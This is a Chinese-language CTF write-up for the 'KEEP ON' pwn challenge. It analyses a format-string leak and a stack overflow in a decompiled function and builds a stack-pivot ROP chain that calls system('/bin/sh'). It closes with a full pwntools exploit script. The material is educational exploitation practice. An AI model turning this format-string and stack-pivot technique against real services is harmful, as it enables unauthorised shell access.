Index
- KEEP ON
- Checksec & IDA
- 漏洞分析
- 完整EXP
KEEP ON
Checksec & IDA
__int64 vuln()
{
char s[80]; // [rsp+0h] [rbp-50h] BYREF
memset(s, 0, sizeof(s));
puts("please show me your name: ");
read(0, s, 0x48uLL);
printf("hello,");
printf(s);
puts("keep on !");
read(0, s, 0x60uLL);
return 0LL;
}
漏洞分析
格式化字符串漏洞与栈溢出漏洞。溢出后只能覆盖返回地址,因此存在两种解法:
格式化字符串 与 栈迁移
先计算出我们的RBP
偏移。
使用%16$p
即可获取rbp。
io.recvuntil(b'name: \n')
fmtpayload = b'%16$p'
io.send(fmtpayload)
io.recvuntil(b'hello,0x')
old_rbp = int(io.recv(12),16)
rbp与s的距离为0x60,再减去0x08的返回地址,就得到了我们的目标迁移地址。
也就是:
Target_Addr = old_rbp - 0x60 - 0x08
这样我们就得到了我们的目标地址,可以开始构建我们的Payload了。
我们只有0x60的大小构建Payload。
我们首先需要一个pop rdi, ret
来将/bin/sh的地址pop进栈中作为system函数的参数。
然后就是我们的/bin/sh地址。由于我们最终的构想是getshell,因此我们需要这样构造Payload:
Payload = p64(rdi)
Payload += p64(Target_Addr + 0x8 + 0x18)
Payload += p64(system)
Payload += b'/bin/sh\x00'
我们首先将binsh的地址送入rdi寄存器中,然后再继续接下来的操作。
Payload = Payload.ljust(0x50, b'\x00')
Payload += p64(Target_Addr)
Payload += p64(leave_ret)
我们将Payload填充到0x50大小,因为0x50是s的大小。剩下的0x10则是我们的RBP与Leave, Return指令。
/bin/sh的地址为什么是Target_Addr + 0x8 + 0x18
是因为Target_Addr指向rdi,0x08 + 0x18 也就是0x20代表第四个数据,也就是b'/bin/sh\x00'
。
完整EXP
from PwnModules import *
io = process('./hdctf')
#io = remote('node4.anna.nssctf.cn', 28031)
elf = ELF('./hdctf')
context(arch='amd64', os='linux', log_level='debug')
io.recvuntil(b'name: \n')
fmtpayload = b'%16$p'
io.send(fmtpayload)
io.recvuntil(b'hello,0x')
old_rbp = int(io.recv(12), 16)
log.success('RBP Addr: ' + (hex(old_rbp)))
leave_ret = 0x4007F2
rdi = 0x4008D3
system = elf.plt['system']
Target_Addr = old_rbp - 0x60 - 0x08
# RDI will pop binsh addr as system's arg
# Offset : 0x08
Payload = p64(rdi)
# Offset : 0x08 + 0x08
Payload += p64(Target_Addr + 0x8 + 0x18)
# Offset : 0x08 + 0x10
Payload += p64(system)
# Offset : 0x08 + 0x18
Payload += b'/bin/sh\x00'
# Fill the Payload to 0x50.
Payload = Payload.ljust(0x50, b'\x00')
# The Leave Ret cmd's ret addr.
Payload += p64(Target_Addr)
# The Leave Ret
Payload += p64(leave_ret)
io.recvuntil(b'keep on !\n')
io.send(Payload)
io.interactive()